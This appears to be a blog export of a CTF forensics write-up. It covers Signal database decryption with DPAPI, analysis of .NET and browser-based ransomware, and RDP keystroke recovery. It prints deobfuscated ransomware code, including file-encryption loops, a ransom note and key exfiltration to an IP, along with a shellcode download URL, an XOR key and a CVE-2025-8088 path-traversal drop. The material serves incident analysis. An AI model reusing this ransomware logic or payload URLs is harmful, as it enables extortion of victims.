[{"content":"","date":"8 December 2025","externalUrl":null,"permalink":"/tags/ctf/","section":"Tags","summary":"","title":"Ctf","type":"tags"},{"content":" print(\u0026#34;Wasssuuuuuuuupppppppppppppppppp\u0026#34;) ","date":"8 December 2025","externalUrl":null,"permalink":"/","section":"Eenosse's Blog","summary":"","title":"Eenosse's Blog","type":"page"},{"content":"","date":"8 December 2025","externalUrl":null,"permalink":"/tags/forensic/","section":"Tags","summary":"","title":"Forensic","type":"tags"},{"content":"","date":"8 December 2025","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":" Overview # Last week I played WannaGame Championship 2025 with my team BKISC. Together, we got 2nd place for the Vietnam division:\nThis is the writeup for some of my favourite forensics challenge from the CTF.\nCommunicate # The chall gives a disk image. Inspecting the AppData, there was two chat app Session and Signal. In Session, there was nothing In Signal, to view the database, we need to decrypt the encrypted key in config.json in order to decrypt the Database with SQLite Cipher. The encrypted key is protected by v10.\nGetting the password of user by secretsdump. The password is qwerty.\nUse the password to get the key in Protect. 0x9775cb01f73eff2bd8ff943ae9040d753804d2c9ffd513c1db2ca218c7b9225817bbb24c77c7e52577fb916e52137744fdd917f5180b56c4e8a9fef4bf1a0da9\nUse this key to decrypt the key in Local State\n➜ Communicate impacket-dpapi unprotect -file key_enc -key 0x9775cb01f73eff2bd8ff943ae9040d753804d2c9ffd513c1db2ca218c7b9225817bbb24c77c7e52577fb916e52137744fdd917f5180b56c4e8a9fef4bf1a0da9 Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Successfully decrypted data 0000 5A 98 5F 65 71 4E 07 3C 05 CD 29 29 C8 3F 9C 18 Z._eqN.\u0026lt;..)).?.. 0010 61 ED 0B BB DE B7 26 B5 56 D9 4C 51 58 FE EF 0E a.....\u0026amp;.V.LQX... Use the key to decrypt AES-GCM the v10 encrypted in config.json and get the final SQL Cipher.\n5d7952292072ac320e0d66108d47fbc4de306396cb8270cabdd855fa09b3ba69 Use this key to decrypt the database.\nReading the messages, we can see that some file is sent:\nChecking message_attachments table, we see a file salary_staistics.rar stored in 8b\\8b5100ceb2c08f97f68dd12a30e97a4f6809f7365d8f5f170ea133bf93daae4f.\nWe used this paper to decrypt the attachment https://www.sciencedirect.com/science/article/pii/S2666281725000800. Use AES CBC/NoPadding, take the first 32 bytes of localKey and set IV to be 16 null bytes, then strip the first 16 bytes, and we\u0026rsquo;ll get the .rar file:\nThe attachment rar use CVE-2025-8088 to inject the exe file to sensitive folder.\nBy creating exactly the path C:\\Users\\sosona\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\, we can get the Update.exe and the csv file contains part 1 base62 encode.\nW1{7h15_155_7h3_f1rr57_fl4ff4g_s3ss1on_r3c0very-\nThe Update.exe is the ransomware. It obfuscate it\u0026rsquo;s name and strings to make it hard to analyze. Therefore, I used a dnspy plugin to rename the classes and functions.\nThe strings is obfuscated by this function:\nusing System; using System.Security.Cryptography; namespace ChiyoChiyoChiyoChiyoChiyoChiyoChiyoChiyoChiyoChiyoChiyoChiyoChiyoChiyoChiyoChiyoChiyoChiyoChiyoChiyoChiyo { // Token: 0x02000004 RID: 4 public class CryptoAES { // Token: 0x06000009 RID: 9 RVA: 0x0000244C File Offset: 0x0000064C public static object DecryptAES(string pXqYfeWgCBZOAYUjYnh) { RijndaelManaged rijndaelManaged = new RijndaelManaged(); HashAlgorithm hashAlgorithm = new MD5CryptoServiceProvider(); byte[] array = new byte[32]; byte[] array2 = hashAlgorithm.ComputeHash(ByteUtils.StringToBytes(Config.AES_Key_Salt)); Array.Copy(array2, 0, array, 0, 16); Array.Copy(array2, 0, array, 15, 16); rijndaelManaged.Key = array; rijndaelManaged.Mode = CipherMode.ECB; ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor(); byte[] array3 = Convert.FromBase64String(pXqYfeWgCBZOAYUjYnh); return ByteUtils.BytesToString(cryptoTransform.TransformFinalBlock(array3, 0, array3.Length)); } } } It computes the md5 hash of the string QjRrbkVFN1Uzdw==, then extend to 32 bytes by copy the hash into the first 16 bytes, then copy again to bytes 15-31. I wrote a little script to get the AES key:\nimport hashlib import base64 from Crypto.Cipher import AES salt = \u0026#34;QjRrbkVFN1Uzdw==\u0026#34; md5_hash = hashlib.md5(salt.encode(\u0026#39;utf-8\u0026#39;)).digest() # 16 bytes key_buffer = bytearray(32) key_buffer[0:16] = md5_hash key_buffer[15:31] = md5_hash print(f\u0026#34;Key Hex: {key_buffer.hex()}\u0026#34;) The key in hex is 2778f1b116440a912bc28ffa1c4b872778f1b116440a912bc28ffa1c4b870500\nUsing this key to decrypt the strings in ECB mode, we can get some strings:\nshellcode_URL: https://gist.githubusercontent.com/YoNoob841/6e84cf5e3f766ce3b420d2e4edcc6ab6/raw/57e4d9dcd9691cd6286e9552d448e413f62f8b1f/NjtvSTuePfCiiXpCDzCUiCVBifJnLu XOR_Key: M1kar1 The next part of the malware takes the shellcode from the URL, XOR it with key M1kar1 and run it. If we do this, we\u0026rsquo;ll get another .exe file, which is the main file encryptor.\nSince the names are obfuscated, I used de4dot to rename them to simpler names.\nThe main code encrypts all files in the user directory and then sends the RSA encrypted key to a server:\npublic void method_1() { GClass1 gclass = new GClass1(); GClass2 gclass2 = new GClass2(); string text = GClass0.smethod_0(); foreach (string text2 in GClass3.smethod_0(this.string_0)) { if (File.Exists(text2) \u0026amp;\u0026amp; !text2.EndsWith(\u0026#34;.foooo\u0026#34;)) { try { string text3 = GClass0.smethod_1(Convert.ToBase64String(File.ReadAllBytes(text2)), text); File.WriteAllText(text2 + \u0026#34;.foooo\u0026#34;, text3); File.Delete(text2); } catch { } } } this.method_0(); string machineName = Environment.MachineName; string text4 = Convert.ToBase64String(gclass2.method_0(text)); gclass.method_1(text4); gclass.method_2(); } First, we need to find the key used to encrypt the files. The key is RSA encrypted using these numbers:\n\u0026#34;\u0026lt;RSAKeyValue\u0026gt;\u0026lt;Modulus\u0026gt;[redacted]\u0026lt;/Modulus\u0026gt;\u0026lt;Exponent\u0026gt;Cw==\u0026lt;/Exponent\u0026gt;\u0026lt;/RSAKeyValue\u0026gt;\u0026#34; Then it\u0026rsquo;s sent to 172.25.242.197:31245. Filter this IP and port in Wireshark and we\u0026rsquo;ll get the encrypted key.\nWe noticed that the RSA uses exponent 0xb, which is low. This means we can decrypt RSA without knowing p and q:\nimport base64 import gmpy2 from Crypto.Util.number import long_to_bytes, bytes_to_long encrypted_b64 = \u0026#34;AAAAAA...\u0026#34; # get from PCAP c_bytes = base64.b64decode(encrypted_b64) c_int = bytes_to_long(c_bytes) exponent = 11 message_int, is_exact = gmpy2.iroot(c_int, exponent) if is_exact: print(\u0026#34;[+] Attack Successful! Found exact root.\u0026#34;) aes_key = long_to_bytes(message_int) if len(aes_key) \u0026lt; 32: aes_key = aes_key.rjust(32, b\u0026#39;\\0\u0026#39;) print(f\u0026#34;Recovered AES Key (Hex): {aes_key.hex()}\u0026#34;) print(f\u0026#34;Recovered AES Key (B64): {base64.b64encode(aes_key).decode()}\u0026#34;) else: print(\u0026#34;[-] Attack failed. The modulo might have been triggered, or endianness is wrong.\u0026#34;) So the original key is Wu/F6K9CnxuCS0ubNF5CEceMumb155dGnV2714cOp8g=\nWe wrote a script to decrypt the files:\nimport os import base64 from pathlib import Path from Crypto.Cipher import AES from Crypto.Util.Padding import unpad def get_target_directories(): \u0026#34;\u0026#34;\u0026#34;Returns a list of paths for Desktop, Downloads, and Documents.\u0026#34;\u0026#34;\u0026#34; home = Path.home() return [ Path(\u0026#34;Desktop\u0026#34;) ] def decrypt_file(file_path, key): \u0026#34;\u0026#34;\u0026#34; Decrypts a single file using AES-CBC via PyCryptodome. Assumes the first 16 bytes are the IV. \u0026#34;\u0026#34;\u0026#34; try: with open(file_path, \u0026#39;rb\u0026#39;) as f: file_data = f.read() # Check for minimum length (IV + at least 1 block) if len(file_data) \u0026lt; 32: print(f\u0026#34;[!] Skipped {file_path}: File too small.\u0026#34;) return # Extract IV and Ciphertext file_data = base64.b64decode(file_data.decode()) iv = file_data[:16] ciphertext = file_data[16:] # Initialize Cipher cipher = AES.new(key, AES.MODE_CBC, iv) # Decrypt and Unpad # AES block size is 16 bytes (128 bits) decrypted_padded_data = cipher.decrypt(ciphertext) decrypted_data = unpad(decrypted_padded_data, AES.block_size) # Determine output filename (remove .foooo extension) output_path = file_path.with_suffix(\u0026#39;\u0026#39;) # Write decrypted data with open(output_path, \u0026#39;wb\u0026#39;) as f: f.write(decrypted_data) print(f\u0026#34;[+] Decrypted: {file_path} -\u0026gt; {output_path}\u0026#34;) except ValueError: print(f\u0026#34;[-] Error decrypting {file_path}: Padding error or incorrect key.\u0026#34;) except Exception as e: print(f\u0026#34;[-] Error processing {file_path}: {e}\u0026#34;) def main(): # Base64 encoded key base64_key = \u0026#34;Wu/F6K9CnxuCS0ubNF5CEceMumb155dGnV2714cOp8g=\u0026#34; try: key = base64.b64decode(base64_key) except Exception as e: print(f\u0026#34;Error decoding key: {e}\u0026#34;) return target_extension = \u0026#34;.foooo\u0026#34; target_dirs = get_target_directories() print(f\u0026#34;Starting PyCryptodome scan for files ending in {target_extension}...\u0026#34;) for directory in target_dirs: if not directory.exists(): continue print(f\u0026#34;Scanning: {directory}\u0026#34;) for root, dirs, files in os.walk(directory): for file in files: if file.endswith(target_extension): full_path = Path(root) / file decrypt_file(full_path, key) print(\u0026#34;Decryption scan complete.\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Then we got the second part of the part:\nMXNFQnFuZklTR0hGemV6MzBLaFZLaVMyaThFRXd0bnh5czJFWUxRcVp0Z2tBZEM5eDZqMmxjaG5UZnh6RDRnbmVUVElRM1gzMklzMXlUVnhsQmMycUNhRExUQ1hDTFlDcG1Sa29pZkNrQnFSeW9YZVVuWlA0YlliSFhveThzNndJZERPYzBST0lUaGhYU1ZWYnJHaG15SEY4c29yRDh0WnFZcDdJazZ6bFRpTUNpNXlCVHV3cUxBNXVOWHZiVzF4SzRKQXRFTm9LU1FvR056c3JLWVJqRWV1UndrekhkOXVDVGM4aVhXZVNnb3p3U1pTclpndXljckJOR0JzMG1nNVYzRG1LZUI3OTJTeHI0blRURWczSTNuaG5jZTUydHl6a0lZTmxxZE1panJtT2hvZE83MHJpS2hjYnFnRmpTQ1JFbW1jdGFjYlVRdg== Decrypt base64 then base62 till death, we\u0026rsquo;ll get the second part\nWhere is the malware? # Analyzing $LogFile and $J, we noticed that the encrypted files name were added .crswap extension before being encrypted:\nLooking this up, I found a paper about Ransomware over Modern Web Browser. This paper mentions about Out-of-Place Encryption, in which the malware reads the original, writes to a new file (.crswap), and then deletes/replaces the original.\nSince this malware is from a website on a browser (it\u0026rsquo;s Google Chrome in this case), we should be able to trace back which website it was, and get it\u0026rsquo;s code in the cache data.\nFirst, to find the website, we can find the websites that were granted the Write permission. To do this, we can go to C:\\Users\\\u0026lt;Username\u0026gt;\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Preferences and search for keywords like file_system_write_guard or file_system_access_chooser_data. Or in this case we know the directory being encrypted is in Documents, we can search for it too. Doing this and we\u0026rsquo;ll get this website:\nThe website is https://simplepdf.online. This will make it easier to find the source code of the website in the code cache. I used ChromeCacheView to see the cache data. Just change the path to ...\\C\\Users\\alex\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\Cache_Data and you will see all cached content. You can also search for the URL to find contents faster:\nDo this, I found the main.js of the website. The code is obfuscated, so you can use any deobfuscator to deobf it.\nThe interesting part of the code is this:\nF = async () =\u0026gt; { if (y.selectedDirectory) { y.clientId || await Y(), y.isEncrypting = true, c.selectDirBtn \u0026amp;\u0026amp; (c.selectDirBtn.disabled = true), c.progressBar \u0026amp;\u0026amp; (c.progressBar.style.width = \u0026#34;0%\u0026#34;), c.progressText \u0026amp;\u0026amp; (c.progressText.textContent = \u0026#34;Initializing...\u0026#34;), c.progressContainer \u0026amp;\u0026amp; (c.progressContainer.style.display = \u0026#34;block\u0026#34;); try { const A = await M.readAllFiles(y.selectedDirectory); y.totalFiles = A.length, y.filesProcessed = 0; const g = (await (async () =\u0026gt; { const A = ((A, g = \u0026#34;94b4c8343e07d37ce38a87403029414e05c397dffcbfb7d1302a69a089cc79ef\u0026#34;) =\u0026gt; { if (A.length !== g.length) throw new Error(\u0026#34;Hex strings must be the same length for XOR.\u0026#34;); const C = A.length / 2, I = new Uint8Array(C); for (let B = 0; B \u0026lt; C; B += 1) { const C = 2 * B; I[B] = r(A, C) ^ r(g, C); } return I; })(\u0026#34;97640d7edecc04adda142fabe9760513faca90cebce7dd32f4ac6f276e60b509\u0026#34;); return {aes: await (async A =\u0026gt; { const g = new h.AES; return await g.init({key_bits: 256, key: A, algorithm: h.AES.Algorithm.GCM}), g; })(A), rawKeyBytes: A}; })()).aes; for (let C = 0; C \u0026lt; A.length; C++) { const I = A[C]; c.progressText \u0026amp;\u0026amp; (c.progressText.textContent = `Processing: ${I.name}...`), await f(I, g), y.filesProcessed++, c.progressBar \u0026amp;\u0026amp; (c.progressBar.style.width = y.filesProcessed / y.totalFiles * 100 + \u0026#34;%\u0026#34;); } await R(), c.progressText \u0026amp;\u0026amp; (c.progressText.textContent = \u0026#34;Done. ransom.txt created.\u0026#34;), c.selectedDirInfo \u0026amp;\u0026amp; (c.selectedDirInfo.innerHTML = `\u0026lt;p\u0026gt;\u0026lt;strong\u0026gt;Folder:\u0026lt;/strong\u0026gt; ${y.selectedDirectory.name} - \u0026lt;strong\u0026gt;Status:\u0026lt;/strong\u0026gt; Completed (${y.filesProcessed} files)\u0026lt;/p\u0026gt;`); } catch (A) { c.progressText \u0026amp;\u0026amp; (c.progressText.textContent = `Error: ${A.message}`), c.progressContainer \u0026amp;\u0026amp; setTimeout(() =\u0026gt; { c.progressContainer.style.display = \u0026#34;none\u0026#34;; }, 3e3); } finally { y.isEncrypting = false, c.selectDirBtn \u0026amp;\u0026amp; (c.selectDirBtn.disabled = false); } } }, f = async (A, g) =\u0026gt; { try { const C = await M.readFileAsUint8Array(A), I = await (async (A, g) =\u0026gt; { const C = await g.encrypt(A); return {iv: new Uint8Array(C.iv), ciphertext: new Uint8Array(C.content), tag: C.tag ? new Uint8Array(C.tag) : null}; })(C, g), B = I.iv, Q = I.tag, E = I.ciphertext, o = new Uint8Array(B.length + Q.length + E.length); o.set(Q, 0), o.set(E, Q.length), o.set(B, E.length + Q.length), await M.writeBytesToHandle(A, o); } catch (g) { console.error(`Failed to process ${A.name}:`, g.message); } }, R = async () =\u0026gt; { if (!y.selectedDirectory) return; const A = [\u0026#34;*** YOUR FILES HAVE BEEN ENCRYPTED ***\u0026#34;, \u0026#34;\u0026#34;, \u0026#34;All important documents were encrypted\u0026#34;, \u0026#34;To recover them you must follow the instructions below.\u0026#34;, \u0026#34;\u0026#34;, `Victim ID: ${y.clientId || \u0026#34;UNKNOWN\u0026#34;}`, \u0026#34;1. Visit our secure portal and enter your Victim ID.\u0026#34;, \u0026#34;2. Send the requested payment and keep this note safe.\u0026#34;, \u0026#34;3. After payment, you will receive the decryption key.\u0026#34;, \u0026#34;\u0026#34;, \u0026#34;Do not delete this file. Any tampering may lead to data loss.\u0026#34;, \u0026#34;\u0026#34;, \u0026#34;— Secure Cloud Team\u0026#34;].join(\u0026#34;\\n\u0026#34;); await M.writeTextFile(y.selectedDirectory, \u0026#34;ransom.txt\u0026#34;, A); }; var U = __webpack_require__(5606); window.Buffer = n.Buffer, window.process = U, document.addEventListener(\u0026#34;DOMContentLoaded\u0026#34;, async () =\u0026gt; { c = {selectDirBtn: document.getElementById(\u0026#34;selectDirBtn\u0026#34;), selectedDirInfo: document.getElementById(\u0026#34;selectedDirInfo\u0026#34;), progressBar: document.getElementById(\u0026#34;progressBar\u0026#34;), progressText: document.getElementById(\u0026#34;progressText\u0026#34;), progressContainer: document.getElementById(\u0026#34;progressContainer\u0026#34;)}, c.selectDirBtn \u0026amp;\u0026amp; c.selectDirBtn.addEventListener(\u0026#34;click\u0026#34;, N), await Y(); }); The files are encrypted using AES GCM, with First 16 bytes = Tag, Last 16 bytes = IV, and the middle is the ciphertext. The key is calculated by XORing two hex strings 97640d7edecc04adda142fabe9760513faca90cebce7dd32f4ac6f276e60b509 and 94b4c8343e07d37ce38a87403029414e05c397dffcbfb7d1302a69a089cc79ef. We wrote a script to decrypt the files:\n#!/usr/bin/env python3 \u0026#34;\u0026#34;\u0026#34; Decryptor for ransomware that encrypts files with AES-256-GCM Based on the key extraction from main.js \u0026#34;\u0026#34;\u0026#34; from Crypto.Cipher import AES import os import shutil def xor_hex_strings(hex1, hex2): \u0026#34;\u0026#34;\u0026#34;XOR two hex strings and return bytes\u0026#34;\u0026#34;\u0026#34; if len(hex1) != len(hex2): raise ValueError(\u0026#34;Hex strings must be the same length\u0026#34;) bytes1 = bytes.fromhex(hex1) bytes2 = bytes.fromhex(hex2) return bytes([b1 ^ b2 for b1, b2 in zip(bytes1, bytes2)]) def decrypt_file(file_path, key, backup=True): \u0026#34;\u0026#34;\u0026#34; Decrypt a single file encrypted by the ransomware File structure: Tag (16 bytes) + Ciphertext + IV (12 bytes) \u0026#34;\u0026#34;\u0026#34; print(f\u0026#34;Decrypting: {file_path}\u0026#34;) # Read encrypted file with open(file_path, \u0026#39;rb\u0026#39;) as f: encrypted_data = f.read() # Parse the structure: Tag (16 bytes) + Ciphertext + IV (16 bytes) tag = encrypted_data[:16] # First 16 bytes = Tag iv = encrypted_data[-16:] # Last 16 bytes = IV ciphertext = encrypted_data[16:-16] # Middle = Ciphertext print(f\u0026#34; Tag length: {len(tag)} bytes\u0026#34;) print(f\u0026#34; IV length: {len(iv)} bytes\u0026#34;) print(f\u0026#34; Ciphertext length: {len(ciphertext)} bytes\u0026#34;) # Decrypt using AES-256-GCM cipher = AES.new(key, AES.MODE_GCM, nonce=iv) try: plaintext = cipher.decrypt_and_verify(ciphertext, tag) # Backup original if requested if backup: backup_path = file_path + \u0026#34;.encrypted.bak\u0026#34; shutil.copy2(file_path, backup_path) print(f\u0026#34; Backup created: {backup_path}\u0026#34;) # Write decrypted content with open(file_path, \u0026#39;wb\u0026#39;) as f: f.write(plaintext) print(f\u0026#34; [OK] Successfully decrypted!\u0026#34;) return True except Exception as e: print(f\u0026#34; [X] Decryption failed: {e}\u0026#34;) return False def main(): # Extract key from main.js XOR operation key1 = \u0026#34;97640d7edecc04adda142fabe9760513faca90cebce7dd32f4ac6f276e60b509\u0026#34; key2 = \u0026#34;94b4c8343e07d37ce38a87403029414e05c397dffcbfb7d1302a69a089cc79ef\u0026#34; # Calculate the actual key key = xor_hex_strings(key1, key2) print(f\u0026#34;Decryption Key (hex): {key.hex()}\u0026#34;) print(f\u0026#34;Key length: {len(key)} bytes (AES-256)\\n\u0026#34;) # Directory containing encrypted files encrypted_dir = r\u0026#34;D:\\CTF Writeups\\WannaGame 2025\\Foren\\Malware\\Where_is_the_malware\\2025-12-05T175919_alexPC\\C\\Users\\alex\\Documents\\for_meeting\u0026#34; # Files to decrypt (exclude ransom.txt) files_to_decrypt = [ \u0026#34;20220808-Advice-SampleFinancialReportingTemplate2022-23-LGA-BlankExample.xlsx\u0026#34;, \u0026#34;Bulbasaur.jpg\u0026#34;, \u0026#34;Sample-Financial-Statements-1.pdf\u0026#34;, \u0026#34;Statement-of-Financial-Position.xlsx\u0026#34;, \u0026#34;task.pdf\u0026#34; ] success_count = 0 fail_count = 0 for filename in files_to_decrypt: file_path = os.path.join(encrypted_dir, filename) if os.path.exists(file_path): if decrypt_file(file_path, key, backup=True): success_count += 1 else: fail_count += 1 print() else: print(f\u0026#34;File not found: {file_path}\\n\u0026#34;) print(\u0026#34;=\u0026#34; * 60) print(f\u0026#34;Decryption complete!\u0026#34;) print(f\u0026#34; Success: {success_count} files\u0026#34;) print(f\u0026#34; Failed: {fail_count} files\u0026#34;) print(\u0026#34;=\u0026#34; * 60) if __name__ == \u0026#34;__main__\u0026#34;: main() And we got the flag:\nInternet Plumber # The challenge contains a large pcap file. Inspecting the http traffic: We got the part1 W1{AI_!s_g3T7|nG_Out-oF_h4nD_b|2\nThere was also a pastebin link: https://pastebin.com/YG4RUwH0\nInspecting other protocols, we noticed some RDP traffic. It contains keycode and mouse movement. To extract these info, we used PyRDP. First, I extracted the network traces by selecting File \u0026gt; Export PDUs and selecting OSI Layer 7. Then, I used pyrdp-convert to make replay files:\npyrdp-convert -o output rdp.pcap Two files were generated. Using pyrdp-player, we can see the replays:\nHere\u0026rsquo;s the log:\n\u0026lt;Meta released\u0026gt;powershe \u0026lt;Return pressed\u0026gt; \u0026lt;Return released\u0026gt;cd \u0026lt;Space pressed\u0026gt; \u0026lt;Space released\u0026gt; \u0026lt;Shift pressed\u0026gt;D \u0026lt;Shift released\u0026gt;ocuments \u0026lt;Return pressed\u0026gt; \u0026lt;Return released\u0026gt;echo \u0026lt;Space pressed\u0026gt; \u0026lt;Space released\u0026gt;d89 \u0026lt;Shift pressed\u0026gt;B \u0026lt;Shift released\u0026gt;c \u0026lt;Shift pressed\u0026gt;M \u0026lt;Shift released\u0026gt;xb \u0026lt;Shift pressed\u0026gt;Q \u0026lt;Shift released\u0026gt;m \u0026lt;Space pressed\u0026gt; \u0026lt;Space released\u0026gt; \u0026lt;Shift pressed\u0026gt;\u0026gt; \u0026lt;Shift released\u0026gt; \u0026lt;Space pressed\u0026gt; \u0026lt;Space released\u0026gt;passwo \u0026lt;Backspace pressed\u0026gt; \u0026lt;Backspace released\u0026gt;d.txt \u0026lt;Return pressed\u0026gt; \u0026lt;Return released\u0026gt;echo \u0026lt;Space pressed\u0026gt; \u0026lt;Space released\u0026gt;h \u0026lt;Backspace pressed\u0026gt; \u0026lt;Backspace released\u0026gt; \u0026lt;Shift pressed\u0026gt;_ \u0026lt;Shift released\u0026gt;https \u0026lt;Shift pressed\u0026gt;: \u0026lt;Shift released\u0026gt;//tinyurl.con/ \u0026lt;Backspace pressed\u0026gt; \u0026lt;Backspace released\u0026gt; \u0026lt;Backspace pressed\u0026gt; \u0026lt;Backspace released\u0026gt;m/bp8fhx9z \u0026lt;Space pressed\u0026gt; \u0026lt;Space released\u0026gt; \u0026lt;Shift pressed\u0026gt;\u0026gt; \u0026lt;Shift released\u0026gt; \u0026lt;Space pressed\u0026gt; \u0026lt;Space released\u0026gt;part3.txt \u0026lt;Return pressed\u0026gt; \u0026lt;Return released\u0026gt; From here, we can get the password for the pastebin, which is d89BcMxbQm. We can also get the third part of the flag.\npart 2 uh_tA|\u0026lt;e_a_lO()k_at_tHi5_ part 3 _https://tinyurl.com/bp8fhx9z\nFor the mouse movement, We wrote a python script to display and try to guess the char.\nimport pyshark import matplotlib.pyplot as plt import matplotlib.animation as animation from matplotlib.collections import LineCollection def main(): cap = pyshark.FileCapture(\u0026#39;rdp.pcap\u0026#39;, display_filter=\u0026#39;(rdp.fastpath.eventheader == 0x20)\u0026#39;) points = [] print(\u0026#34;Extracting packets...\u0026#34;) for pkt in cap: try: timestamp = float(pkt.sniff_timestamp) x = int(pkt.rdp.pointer_xpos) y = int(pkt.rdp.pointer_ypos) # Check button flags. is_pressed = (str(pkt.rdp.pointerflags_down) == \u0026#34;True\u0026#34; or str(pkt.rdp.pointerflags_button1) == \u0026#34;True\u0026#34;) points.append({\u0026#39;x\u0026#39;: x, \u0026#39;y\u0026#39;: y, \u0026#39;timestamp\u0026#39;: timestamp, \u0026#39;is_pressed\u0026#39;: is_pressed}) except AttributeError: print(\u0026#34;gay\u0026#34;) continue except Exception as e: print(f\u0026#34;Error parsing packet: {e}\u0026#34;) print(f\u0026#34;Extracted {len(points)} points.\u0026#34;) if not points: return # Sort by timestamp points.sort(key=lambda p: p[\u0026#39;timestamp\u0026#39;]) # Determine events (Press, Release) based on state changes for i in range(len(points)): current = points[i] prev = points[i-1] if i \u0026gt; 0 else None is_pressed = current[\u0026#39;is_pressed\u0026#39;] was_pressed = prev[\u0026#39;is_pressed\u0026#39;] if prev else False if is_pressed and not was_pressed: current[\u0026#39;event_type\u0026#39;] = \u0026#39;press\u0026#39; elif not is_pressed and was_pressed: current[\u0026#39;event_type\u0026#39;] = \u0026#39;release\u0026#39; elif is_pressed: current[\u0026#39;event_type\u0026#39;] = \u0026#39;drag\u0026#39; else: current[\u0026#39;event_type\u0026#39;] = \u0026#39;move\u0026#39; x_coords = [p[\u0026#39;x\u0026#39;] for p in points] y_coords = [p[\u0026#39;y\u0026#39;] for p in points] # Pre-calculate segments and colors for LineCollection segments = [] segment_colors = [] # Define a color cycle available_colors = [\u0026#39;b\u0026#39;, \u0026#39;g\u0026#39;, \u0026#39;r\u0026#39;, \u0026#39;c\u0026#39;, \u0026#39;m\u0026#39;, \u0026#39;y\u0026#39;, \u0026#39;k\u0026#39;] color_idx = 0 for i in range(len(points) - 1): p1 = points[i] p2 = points[i+1] # Change color on \u0026#39;press\u0026#39; event if p1[\u0026#39;event_type\u0026#39;] == \u0026#39;press\u0026#39;: color_idx = (color_idx + 1) % len(available_colors) segments.append([(p1[\u0026#39;x\u0026#39;], p1[\u0026#39;y\u0026#39;]), (p2[\u0026#39;x\u0026#39;], p2[\u0026#39;y\u0026#39;])]) segment_colors.append(available_colors[color_idx]) # Visualization Setup fig, ax = plt.subplots(figsize=(10, 8)) ax.set_title(\u0026#39;Mouse Movements from PCAP\u0026#39;) ax.set_xlabel(\u0026#39;X\u0026#39;) ax.set_ylabel(\u0026#39;Y\u0026#39;) DISPLAY_ALL_POINTS = False # Set limits with some padding margin = 50 if x_coords and y_coords: ax.set_xlim(min(x_coords) - margin, max(x_coords) + margin) ax.set_ylim(max(y_coords) + margin, min(y_coords) - margin) # Inverted Y axis lc = LineCollection([], linewidths=2, alpha=0.7) ax.add_collection(lc) cursor, = ax.plot([], [], \u0026#39;ro\u0026#39;, markersize=8, label=\u0026#39;Cursor\u0026#39;) status_text = ax.text(0.02, 0.95, \u0026#39;\u0026#39;, transform=ax.transAxes) # Legend from matplotlib.lines import Line2D legend_elements = [ Line2D([0], [0], marker=\u0026#39;o\u0026#39;, color=\u0026#39;w\u0026#39;, label=\u0026#39;Move\u0026#39;, markerfacecolor=\u0026#39;red\u0026#39;, markersize=8), Line2D([0], [0], marker=\u0026#39;*\u0026#39;, color=\u0026#39;w\u0026#39;, label=\u0026#39;Press\u0026#39;, markerfacecolor=\u0026#39;green\u0026#39;, markersize=15), Line2D([0], [0], marker=\u0026#39;o\u0026#39;, color=\u0026#39;w\u0026#39;, label=\u0026#39;Drag\u0026#39;, markerfacecolor=\u0026#39;green\u0026#39;, markersize=10), Line2D([0], [0], marker=\u0026#39;X\u0026#39;, color=\u0026#39;w\u0026#39;, label=\u0026#39;Release\u0026#39;, markerfacecolor=\u0026#39;blue\u0026#39;, markersize=15), Line2D([0], [0], color=\u0026#39;b\u0026#39;, lw=2, label=\u0026#39;Path (Colors cycle on click)\u0026#39;), ] ax.legend(handles=legend_elements, loc=\u0026#39;upper right\u0026#39;) def init(): lc.set_segments([]) cursor.set_data([], []) status_text.set_text(\u0026#39;\u0026#39;) return lc, cursor, status_text def update(frame): if frame == 0: return lc, cursor, status_text if DISPLAY_ALL_POINTS: current_segments = segments[:frame] current_colors = segment_colors[:frame] else: start_idx = max(0, frame - 50) current_segments = segments[start_idx:frame] current_colors = segment_colors[start_idx:frame] lc.set_segments(current_segments) lc.set_color(current_colors) cursor.set_data([x_coords[frame]], [y_coords[frame]]) event_type = points[frame][\u0026#39;event_type\u0026#39;] if event_type == \u0026#39;press\u0026#39;: cursor.set_color(\u0026#39;green\u0026#39;) cursor.set_markersize(15) cursor.set_marker(\u0026#39;*\u0026#39;) elif event_type == \u0026#39;release\u0026#39;: cursor.set_color(\u0026#39;blue\u0026#39;) cursor.set_markersize(15) cursor.set_marker(\u0026#39;X\u0026#39;) elif event_type == \u0026#39;drag\u0026#39;: cursor.set_color(\u0026#39;green\u0026#39;) cursor.set_markersize(10) cursor.set_marker(\u0026#39;o\u0026#39;) else: # move cursor.set_color(\u0026#39;red\u0026#39;) cursor.set_markersize(8) cursor.set_marker(\u0026#39;o\u0026#39;) ts = points[frame][\u0026#39;timestamp\u0026#39;] status_text.set_text(f\u0026#39;Frame: {frame}/{len(points)}\\nTimestamp: {ts}\\nEvent: {event_type}\u0026#39;) return lc, cursor, status_text ani = animation.FuncAnimation(fig, update, frames=len(points), init_func=init, blit=True, interval=10, repeat=False) print(\u0026#34;Starting animation...\u0026#34;) plt.show() if __name__ == \u0026#34;__main__\u0026#34;: main() part 4 06cc5fc57a}\nFlag: W1{AI_!s_g3T7|nG_Out-oF_h4nD_b|2uh_tA|\u0026lt;e_a_lO()k_at_tHi5__https://tinyurl.com/bp8fhx9z_06cc5fc57a}\n","date":"8 December 2025","externalUrl":null,"permalink":"/posts/wannagame-ctf-2025-writeup/","section":"Posts","summary":"","title":"WannaGame Championship 2025 Writeup","type":"posts"},{"content":"","date":"8 December 2025","externalUrl":null,"permalink":"/tags/writeup/","section":"Tags","summary":"","title":"Writeup","type":"tags"},{"content":"","date":"26 March 2025","externalUrl":null,"permalink":"/tags/forensics/","section":"Tags","summary":"","title":"Forensics","type":"tags"},{"content":" Overview # This week I played HTB Cyber Apocalypse 2025 and did all Forensics challenges!!!!\nIn this writeup, I\u0026rsquo;ll walk through how I solved the last Forensics challenge - \u0026ldquo;Tales for the Brave\u0026rdquo;.\nWhat da website doin'? # After spawning the instance, we\u0026rsquo;ll see this website:\nSince the challenge\u0026rsquo;s description says the website \u0026ldquo;may secretly trap unsuspecting visitors, leading them into a complex phishing scheme\u0026rdquo;, it\u0026rsquo;s a good idea to check the website\u0026rsquo;s source code. In the JS folder, there is a file named index.js. You can see the source code here.\nThis is 